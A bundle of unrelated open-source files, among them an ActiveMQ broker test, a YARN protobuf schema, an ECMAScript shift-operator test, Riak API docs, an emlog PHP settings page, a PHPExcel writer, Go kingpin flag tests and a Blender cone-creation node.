drainingNetworkConnector.setStaticallyIncludedDestinations(Arrays.asList(new ActiveMQDestination[]{new ActiveMQQueue(">")})); // ensure replay back to the origin is allowed PolicyMap policyMap = new PolicyMap(); PolicyEntry defaultEntry = new PolicyEntry(); defaultEntry.setExpireMessagesPeriod(0); ConditionalNetworkBridgeFilterFactory filterFactory = new ConditionalNetworkBridgeFilterFactory(); filterFactory.setReplayWhenNoConsumers(true); defaultEntry.setNetworkBridgeFilterFactory(filterFactory); policyMap.setDefaultEntry(defaultEntry); // applies to all destinations drainingBroker.setDestinationPolicy(policyMap); drainingBroker.start(); System.out.println("Local count: " + drainingBroker.getAdminView().getTotalMessageCount() + ", target count:" + target.getAdminView().getTotalMessageCount()); assertEquals("local messages", 22, drainingBroker.getAdminView().getTotalMessageCount()); assertEquals("no remote messages", 0, target.getAdminView().getTotalMessageCount()); Wait.waitFor(new Wait.Condition() { @Override public boolean isSatisified() throws Exception { System.out.println("Local count: " + drainingBroker.getAdminView().getTotalMessageCount() + ", target count:" + target.getAdminView().getTotalMessageCount()); return drainingBroker.getAdminView().getTotalMessageCount() == 0l; } }); assertEquals("no local messages", 0, drainingBroker.getAdminView().getTotalMessageCount()); assertEquals("remote messages", 22, target.getAdminView().getTotalMessageCount()); assertEquals("number of queues match", drainingBroker.getAdminView().getQueues().length, target.getAdminView().getQueues().length); drainingBroker.stop(); target.stop(); } private BrokerService prepareDrainTarget() throws Exception { BrokerService broker = new BrokerService(); broker.setDeleteAllMessagesOnStartup(true); broker.setBrokerName("TARGET"); broker.addConnector("tcp://localhost:0"); broker.start(); return broker; } private void prepareBrokerWithMessages() throws Exception { BrokerService broker = new BrokerService(); broker.setDeleteAllMessagesOnStartup(true); broker.setBrokerName("HOST"); broker.start(); ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory(broker.getVmConnectorURI()); Connection conn = connectionFactory.createConnection(); conn.start(); Session session = conn.createSession(false, Session.AUTO_ACKNOWLEDGE); TextMessage msg = session.createTextMessage("This is a message."); MessageProducer producer = session.createProducer(null); ActiveMQQueue queue = new ActiveMQQueue("Q.Foo,Bar"); for (int i = 0; i < 10; i++) { producer.send(queue, msg); } // add virtual topic consumer Q MessageConsumer messageConsumerA = session.createConsumer(new ActiveMQQueue("Consumer.A.VirtualTopic.Y")); MessageConsumer messageConsumeB = session.createConsumer(new ActiveMQQueue("Consumer.B.VirtualTopic.Y")); producer.send(new ActiveMQTopic("VirtualTopic.Y"), msg); conn.close(); broker.stop(); } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>IDEWorkspaceSharedSettings_AutocreateContextsIfNeeded</key> <false/> </dict> </plist>
{ "pile_set_name": "Github" }
/** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ option java_package = "org.apache.hadoop.yarn.proto"; option java_outer_classname = "YarnServerNodemanagerServiceProtos"; option java_generic_services = true; option java_generate_equals_and_hash = true; package hadoop.yarn; import "yarn_protos.proto"; enum ResourceStatusTypeProto { FETCH_PENDING = 1; FETCH_SUCCESS = 2; FETCH_FAILURE = 3; } message LocalResourceStatusProto { optional LocalResourceProto resource = 1; optional ResourceStatusTypeProto status = 2; optional URLProto localPath = 3; optional int64 localSize = 4; optional SerializedExceptionProto exception = 5; } message LocalizerStatusProto { optional string localizer_id = 1; repeated LocalResourceStatusProto resources = 2; } enum LocalizerActionProto { LIVE = 1; DIE = 2; } message ResourceLocalizationSpecProto { optional LocalResourceProto resource = 1; optional URLProto destination_directory = 2; } message LocalizerHeartbeatResponseProto { optional LocalizerActionProto action = 1; repeated ResourceLocalizationSpecProto resources = 2; }
{ "pile_set_name": "Github" }
// Copyright 2009 the Sputnik authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /** * Operator x >> y returns ToNumber(x) >> ToNumber(y) * * @path ch11/11.7/11.7.2/S11.7.2_A3_T2.9.js * @description Type(x) is different from Type(y) and both types vary between Boolean (primitive or object) and Null */ //CHECK#1 if (true >> null !== 1) { $ERROR('#1: true >> null === 1. Actual: ' + (true >> null)); } //CHECK#2 if (null >> true !== 0) { $ERROR('#2: null >> true === 0. Actual: ' + (null >> true)); } //CHECK#3 if (new Boolean(true) >> null !== 1) { $ERROR('#3: new Boolean(true) >> null === 1. Actual: ' + (new Boolean(true) >> null)); } //CHECK#4 if (null >> new Boolean(true) !== 0) { $ERROR('#4: null >> new Boolean(true) === 0. Actual: ' + (null >> new Boolean(true))); }
{ "pile_set_name": "Github" }
--- title: "HTTP Search Index Info" description: "" project: "riak_kv" project_version: "2.0.6" menu: riak_kv-2.0.6: name: "Search Index Info" identifier: "http_search_index_info" weight: 114 parent: "apis_http" toc: true aliases: - /riak/2.0.6/dev/references/http/search-index-info - /riak/kv/2.0.6/dev/references/http/search-index-info --- Retrieves information about all currently available [Search indexes](/riak/kv/2.0.6/developing/usage/search) in JSON format. ## Request ``` GET /search/index ``` ## Response If there are no currently available Search indexes, a `200 OK` will be returned but with an empty list as the response value. Below is the example output if there is one Search index, called `test_index`, currently available: ```json [ { "n_val": 3, "name": "test_index", "schema": "_yz_default" } ] ``` #### Normal Response Codes * `200 OK` #### Typical Error Codes * `404 Object Not Found` --- Typically returned if Riak Search is not currently enabled on the node * `503 Service Unavailable` --- The request timed out internally
{ "pile_set_name": "Github" }
<?php if(!defined('EMLOG_ROOT')) {exit('error!');}?> <script>setTimeout(hideActived,2600);</script> <div class="panel-heading"> <ul class="nav nav-tabs" role="tablist"> <li role="presentation"><a href="./configure.php">基本设置</a></li> <li role="presentation" class="active"><a href="./seo.php">SEO设置</a></li> <li role="presentation"><a href="./blogger.php">个人设置</a></li> <?php if(isset($_GET['activated'])):?><span class="alert alert-success">设置保存成功</span><?php endif;?> <?php if(isset($_GET['error'])):?><span class="alert alert-danger">保存失败:根目录下的.htaccess不可写</span><?php endif;?> </ul> </div> <div class="panel-body" style="margin-left:30px;"> <form action="seo.php?action=update" method="post"> <h4>文章链接设置</h4> <div class="alert alert-info" style="width: 100%"> 你可以在这里修改文章链接的形式,如果修改后文章无法访问,那可能是你的服务器空间不支持URL重写,请修改回默认形式、关闭文章连接别名。 <br />启用链接别名后可以自定义文章和页面的链接地址。 </div> <div class="form-group"> <div class="radio"> <label> <input type="radio" name="permalink" value="0" <?php echo $ex0; ?>>默认形式:<span class="permalink_url"><?php echo BLOG_URL; ?>?post=1</span> </label> </div> <div class="radio"> <label> <input type="radio" name="permalink" value="1" <?php echo $ex1; ?>>文件形式:<span class="permalink_url"><?php echo BLOG_URL; ?>post-1.html</span> </label> </div> <div class="radio"> <label> <input type="radio" name="permalink" value="2" <?php echo $ex2; ?>>目录形式:<span class="permalink_url"><?php echo BLOG_URL; ?>post/1</span> </label> </div> <div class="radio"> <label> <input type="radio" name="permalink" value="3" <?php echo $ex3; ?>>分类形式:<span class="permalink_url"><?php echo BLOG_URL; ?>category/1.html</span> </label> </div> </div> <div class="form-group"> <div class="checkbox"> <label> <input type="checkbox" style="vertical-align:middle;" value="y" name="isalias" id="isalias" <?php echo $isalias; ?> />启用文章链接别名 </label> </div> <div class="checkbox"> <label> <input type="checkbox" style="vertical-align:middle;" value="y" name="isalias_html" id="isalias_html" <?php echo $isalias_html; ?> />启用文章链接别名html后缀 </label> </div> </div> <h4>meta信息设置</h4> <div class="form-group"> <li> <label>站点浏览器标题(title)</label> <input maxlength="200" style="width:300px;" class="form-control" value="<?php echo $site_title; ?>" name="site_title" /> </li> <li> <label>站点关键字(keywords)</label> <input maxlength="200" style="width:300px;" class="form-control" value="<?php echo $site_key; ?>" name="site_key" /> </li> <li> <label>站点浏览器描述(description)</label> <textarea name="site_description" class="form-control" cols="" rows="4" style="width:300px;"><?php echo $site_description; ?></textarea> </li> <li> <label>文章浏览器标题方案:</label> <select name="log_title_style" class="form-control" style="width: 120px;"> <option value="0" <?php echo $opt0; ?>>文章标题</option> <option value="1" <?php echo $opt1; ?>>文章标题 - 站点标题</option> <option value="2" <?php echo $opt2; ?>>文章标题 - 站点浏览器标题</option> </select> </li> <li style="margin-top:10px;"> <input name="token" id="token" value="<?php echo LoginAuth::genToken(); ?>" type="hidden" /> <input type="submit" value="保存设置" class="btn btn-primary" /> </li> </div> </form> </div> <script> setTimeout(hideActived, 2600); $("#menu_category_sys").addClass('active'); $("#menu_sys").addClass('in'); $("#menu_setting").addClass('active'); </script>
{ "pile_set_name": "Github" }
<?php /** * PHPExcel * * Copyright (c) 2006 - 2014 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Writer_OpenDocument_Meta * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel) * @author Alexander Pervakov <[email protected]> */ class PHPExcel_Writer_OpenDocument_Meta extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write meta.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function write(PHPExcel $pPHPExcel = null) { if (!$pPHPExcel) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); } $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Meta $objWriter->startElement('office:document-meta'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->startElement('office:meta'); $objWriter->writeElement('meta:initial-creator', $pPHPExcel->getProperties()->getCreator()); $objWriter->writeElement('dc:creator', $pPHPExcel->getProperties()->getCreator()); $objWriter->writeElement('meta:creation-date', date(DATE_W3C, $pPHPExcel->getProperties()->getCreated())); $objWriter->writeElement('dc:date', date(DATE_W3C, $pPHPExcel->getProperties()->getCreated())); $objWriter->writeElement('dc:title', $pPHPExcel->getProperties()->getTitle()); $objWriter->writeElement('dc:description', $pPHPExcel->getProperties()->getDescription()); $objWriter->writeElement('dc:subject', $pPHPExcel->getProperties()->getSubject()); $keywords = explode(' ', $pPHPExcel->getProperties()->getKeywords()); foreach ($keywords as $keyword) { $objWriter->writeElement('meta:keyword', $keyword); } //<meta:document-statistic meta:table-count="XXX" meta:cell-count="XXX" meta:object-count="XXX"/> $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', 'Company'); $objWriter->writeRaw($pPHPExcel->getProperties()->getCompany()); $objWriter->endElement(); $objWriter->startElement('meta:user-defined'); $objWriter->writeAttribute('meta:name', 'category'); $objWriter->writeRaw($pPHPExcel->getProperties()->getCategory()); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } }
{ "pile_set_name": "Github" }
package kingpin import ( "io/ioutil" "os" "github.com/alecthomas/assert" "testing" ) func TestBool(t *testing.T) { app := newTestApp() b := app.Flag("b", "").Bool() _, err := app.Parse([]string{"--b"}) assert.NoError(t, err) assert.True(t, *b) } func TestNoBool(t *testing.T) { fg := newFlagGroup() f := fg.Flag("b", "").Default("true") b := f.Bool() fg.init("") tokens := tokenize([]string{"--no-b"}, false) _, err := fg.parse(tokens) assert.NoError(t, err) assert.False(t, *b) } func TestNegateNonBool(t *testing.T) { fg := newFlagGroup() f := fg.Flag("b", "") f.Int() fg.init("") tokens := tokenize([]string{"--no-b"}, false) _, err := fg.parse(tokens) assert.Error(t, err) } func TestNegativePrefixLongFlag(t *testing.T) { fg := newFlagGroup() f := fg.Flag("no-comment", "") b := f.Bool() fg.init("") tokens := tokenize([]string{"--no-comment"}, false) _, err := fg.parse(tokens) assert.NoError(t, err) assert.False(t, *b) } func TestInvalidFlagDefaultCanBeOverridden(t *testing.T) { app := newTestApp() app.Flag("a", "").Default("invalid").Bool() _, err := app.Parse([]string{}) assert.Error(t, err) } func TestRequiredFlag(t *testing.T) { app := newTestApp() app.Version("0.0.0").Writer(ioutil.Discard) exits := 0 app.Terminate(func(int) { exits++ }) app.Flag("a", "").Required().Bool() _, err := app.Parse([]string{"--a"}) assert.NoError(t, err) _, err = app.Parse([]string{}) assert.Error(t, err) _, err = app.Parse([]string{"--version"}) assert.Equal(t, 1, exits) } func TestShortFlag(t *testing.T) { app := newTestApp() f := app.Flag("long", "").Short('s').Bool() _, err := app.Parse([]string{"-s"}) assert.NoError(t, err) assert.True(t, *f) } func TestCombinedShortFlags(t *testing.T) { app := newTestApp() a := app.Flag("short0", "").Short('0').Bool() b := app.Flag("short1", "").Short('1').Bool() c := app.Flag("short2", "").Short('2').Bool() _, err := app.Parse([]string{"-01"}) assert.NoError(t, err) assert.True(t, *a) assert.True(t, *b) assert.False(t, *c) } func TestCombinedShortFlagArg(t *testing.T) { a := newTestApp() n := a.Flag("short", "").Short('s').Int() _, err := a.Parse([]string{"-s10"}) assert.NoError(t, err) assert.Equal(t, 10, *n) } func TestEmptyShortFlagIsAnError(t *testing.T) { _, err := newTestApp().Parse([]string{"-"}) assert.Error(t, err) } func TestRequiredWithEnvarMissingErrors(t *testing.T) { app := newTestApp() app.Flag("t", "").OverrideDefaultFromEnvar("TEST_ENVAR").Required().Int() _, err := app.Parse([]string{}) assert.Error(t, err) } func TestRequiredWithEnvar(t *testing.T) { os.Setenv("TEST_ENVAR", "123") app := newTestApp() flag := app.Flag("t", "").Envar("TEST_ENVAR").Required().Int() _, err := app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, 123, *flag) } func TestSubcommandFlagRequiredWithEnvar(t *testing.T) { os.Setenv("TEST_ENVAR", "123") app := newTestApp() cmd := app.Command("command", "") flag := cmd.Flag("t", "").Envar("TEST_ENVAR").Required().Int() _, err := app.Parse([]string{"command"}) assert.NoError(t, err) assert.Equal(t, 123, *flag) } func TestRegexp(t *testing.T) { app := newTestApp() flag := app.Flag("reg", "").Regexp() _, err := app.Parse([]string{"--reg", "^abc$"}) assert.NoError(t, err) assert.NotNil(t, *flag) assert.Equal(t, "^abc$", (*flag).String()) assert.Regexp(t, *flag, "abc") assert.NotRegexp(t, *flag, "abcd") } func TestDuplicateShortFlag(t *testing.T) { app := newTestApp() app.Flag("a", "").Short('a').String() app.Flag("b", "").Short('a').String() _, err := app.Parse([]string{}) assert.Error(t, err) } func TestDuplicateLongFlag(t *testing.T) { app := newTestApp() app.Flag("a", "").String() app.Flag("a", "").String() _, err := app.Parse([]string{}) assert.Error(t, err) } func TestGetFlagAndOverrideDefault(t *testing.T) { app := newTestApp() a := app.Flag("a", "").Default("default").String() _, err := app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, "default", *a) app.GetFlag("a").Default("new") _, err = app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, "new", *a) } func TestEnvarOverrideDefault(t *testing.T) { os.Setenv("TEST_ENVAR", "123") app := newTestApp() flag := app.Flag("t", "").Default("default").Envar("TEST_ENVAR").String() _, err := app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, "123", *flag) } func TestFlagMultipleValuesDefault(t *testing.T) { app := newTestApp() a := app.Flag("a", "").Default("default1", "default2").Strings() _, err := app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, []string{"default1", "default2"}, *a) } func TestFlagMultipleValuesDefaultNonRepeatable(t *testing.T) { c := newTestApp() c.Flag("foo", "foo").Default("a", "b").String() _, err := c.Parse([]string{}) assert.Error(t, err) } func TestFlagMultipleValuesDefaultEnvarUnix(t *testing.T) { app := newTestApp() a := app.Flag("a", "").Envar("TEST_MULTIPLE_VALUES").Strings() os.Setenv("TEST_MULTIPLE_VALUES", "123\n456\n") _, err := app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, []string{"123", "456"}, *a) } func TestFlagMultipleValuesDefaultEnvarWindows(t *testing.T) { app := newTestApp() a := app.Flag("a", "").Envar("TEST_MULTIPLE_VALUES").Strings() os.Setenv("TEST_MULTIPLE_VALUES", "123\r\n456\r\n") _, err := app.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, []string{"123", "456"}, *a) } func TestFlagMultipleValuesDefaultEnvarNonRepeatable(t *testing.T) { c := newTestApp() a := c.Flag("foo", "foo").Envar("TEST_MULTIPLE_VALUES_NON_REPEATABLE").String() os.Setenv("TEST_MULTIPLE_VALUES_NON_REPEATABLE", "123\n456") _, err := c.Parse([]string{}) assert.NoError(t, err) assert.Equal(t, "123\n456", *a) } func TestFlagHintAction(t *testing.T) { c := newTestApp() action := func() []string { return []string{"opt1", "opt2"} } a := c.Flag("foo", "foo").HintAction(action) args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) } func TestFlagHintOptions(t *testing.T) { c := newTestApp() a := c.Flag("foo", "foo").HintOptions("opt1", "opt2") args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) } func TestFlagEnumVar(t *testing.T) { c := newTestApp() var bar string a := c.Flag("foo", "foo") a.Enum("opt1", "opt2") b := c.Flag("bar", "bar") b.EnumVar(&bar, "opt3", "opt4") args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) args = b.resolveCompletions() assert.Equal(t, []string{"opt3", "opt4"}, args) } func TestMultiHintOptions(t *testing.T) { c := newTestApp() a := c.Flag("foo", "foo").HintOptions("opt1").HintOptions("opt2") args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) } func TestMultiHintActions(t *testing.T) { c := newTestApp() a := c.Flag("foo", "foo"). HintAction(func() []string { return []string{"opt1"} }). HintAction(func() []string { return []string{"opt2"} }) args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) } func TestCombinationHintActionsOptions(t *testing.T) { c := newTestApp() a := c.Flag("foo", "foo").HintAction(func() []string { return []string{"opt1"} }).HintOptions("opt2") args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) } func TestCombinationEnumActions(t *testing.T) { c := newTestApp() var foo string a := c.Flag("foo", "foo"). HintAction(func() []string { return []string{"opt1", "opt2"} }) a.Enum("opt3", "opt4") b := c.Flag("bar", "bar"). HintAction(func() []string { return []string{"opt5", "opt6"} }) b.EnumVar(&foo, "opt3", "opt4") // Provided HintActions should override automatically generated Enum options. args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) args = b.resolveCompletions() assert.Equal(t, []string{"opt5", "opt6"}, args) } func TestCombinationEnumOptions(t *testing.T) { c := newTestApp() var foo string a := c.Flag("foo", "foo").HintOptions("opt1", "opt2") a.Enum("opt3", "opt4") b := c.Flag("bar", "bar").HintOptions("opt5", "opt6") b.EnumVar(&foo, "opt3", "opt4") // Provided HintOptions should override automatically generated Enum options. args := a.resolveCompletions() assert.Equal(t, []string{"opt1", "opt2"}, args) args = b.resolveCompletions() assert.Equal(t, []string{"opt5", "opt6"}, args) }
{ "pile_set_name": "Github" }
require('./angular-locale_ko'); module.exports = 'ngLocale';
{ "pile_set_name": "Github" }
ID=0 ROUT='ATL_tmp.c' AUTH='R. Clint Whaley' TA='T' TB='N' \ OPMV=3 VLEN=2 PFLS=64 PREF=1303 KBMAX=56 KBMIN=56 IVAR=16 KU=56 NU=1 \ MU=28 MB=28 NB=28 KB=56 KCLN=1 KUISKB=1 AOUTER=1 LDCTOP=1 \ MFLOP=-6.209363e+03 ID=0 ROUT='ATL_tmp.c' AUTH='R. Clint Whaley' TA='T' TB='N' \ OPMV=3 VLEN=2 PFLS=64 PREF=1303 KBMAX=56 KBMIN=56 IVAR=16 KU=56 NU=1 \ MU=28 MB=28 NB=56 KB=56 KCLN=1 KUISKB=1 AOUTER=1 LDCTOP=1 \ MFLOP=-6.725624e+03 ID=0 ROUT='ATL_tmp.c' AUTH='R. Clint Whaley' TA='T' TB='N' \ OPMV=3 VLEN=2 PFLS=64 PREF=1303 KBMAX=56 KBMIN=56 IVAR=16 KU=56 NU=1 \ MU=28 MB=28 NB=84 KB=56 KCLN=1 KUISKB=1 AOUTER=1 LDCTOP=1 \ MFLOP=-6.854924e+03 ID=0 ROUT='ATL_tmp.c' AUTH='R. Clint Whaley' TA='T' TB='N' \ OPMV=3 VLEN=2 PFLS=64 PREF=1303 KBMAX=56 KBMIN=56 IVAR=16 KU=56 NU=1 \ MU=28 MB=28 NB=112 KB=56 KCLN=1 KUISKB=1 AOUTER=1 LDCTOP=1 \ MFLOP=-6.864724e+03 ID=0 ROUT='ATL_tmp.c' AUTH='R. Clint Whaley' TA='T' TB='N' \ OPMV=3 VLEN=2 PFLS=64 PREF=1303 KBMAX=56 KBMIN=56 IVAR=16 KU=56 NU=1 \ MU=28 MB=28 NB=224 KB=56 KCLN=1 KUISKB=1 AOUTER=1 LDCTOP=1 \ MFLOP=-6.883919e+03
{ "pile_set_name": "Github" }
import bpy from bpy.props import EnumProperty, IntProperty, FloatProperty, BoolProperty from bpy.types import Node from .._base.node_base import ScNode from .._base.node_input import ScInputNode class ScCreateCone(Node, ScInputNode): bl_idname = "ScCreateCone" bl_label = "Create Cone" in_uv: BoolProperty(default=True, update=ScNode.update_value) in_type: EnumProperty(items=[("NOTHING", "Nothing", ""), ("NGON", "Ngon", ""), ("TRIFAN", "Triangle Fan", "")], default="NGON", update=ScNode.update_value) in_vertices: IntProperty(default=32, min=3, max=10000000, update=ScNode.update_value) in_radius1: FloatProperty(default=1.0, min=0.0, update=ScNode.update_value) in_radius2: FloatProperty(min=0.0, update=ScNode.update_value) in_depth: FloatProperty(default=2.0, min=0.0, update=ScNode.update_value) def init(self, context): super().init(context) self.inputs.new("ScNodeSocketBool", "Generate UVs").init("in_uv") self.inputs.new("ScNodeSocketString", "Base Fill Type").init("in_type") self.inputs.new("ScNodeSocketNumber", "Vertices").init("in_vertices", True) self.inputs.new("ScNodeSocketNumber", "Radius 1").init("in_radius1", True) self.inputs.new("ScNodeSocketNumber", "Radius 2").init("in_radius2") self.inputs.new("ScNodeSocketNumber", "Depth").init("in_depth", True) def error_condition(self): return ( super().error_condition() or (not self.inputs["Base Fill Type"].default_value in ['NOTHING', 'NGON', 'TRIFAN']) or (self.inputs["Vertices"].default_value < 3 or self.inputs["Vertices"].default_value > 10000000) or self.inputs["Radius 1"].default_value < 0 or self.inputs["Radius 2"].default_value < 0 or self.inputs["Depth"].default_value < 0 ) def functionality(self): bpy.ops.mesh.primitive_cone_add( vertices = int(self.inputs["Vertices"].default_value), radius1 = self.inputs["Radius 1"].default_value, radius2 = self.inputs["Radius 2"].default_value, depth = self.inputs["Depth"].default_value, end_fill_type = self.inputs["Base Fill Type"].default_value, calc_uvs = self.inputs["Generate UVs"].default_value )
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> @class NSArray, NSMutableDictionary, NSString; @interface SUICPluginManager : NSObject { NSString *_path; NSArray *_domainKeys; CDUnknownBlockType _factoryInitializationBlock; NSMutableDictionary *_domainKeyDictionary; } + (id)pluginManagerForPath:(id)arg1 domainKeys:(id)arg2 factoryInitializationBlock:(CDUnknownBlockType)arg3; - (void).cxx_destruct; - (id)description; - (void)_registerBundle:(id)arg1; - (void)_loadBundles; - (void)enumerateFactoryInstancesForDomainKey:(id)arg1 groupIdentifier:(id)arg2 classIdentifier:(id)arg3 usingBlock:(CDUnknownBlockType)arg4; - (id)initWithPath:(id)arg1 domainKeys:(id)arg2 factoryInitializationBlock:(CDUnknownBlockType)arg3; @end
{ "pile_set_name": "Github" }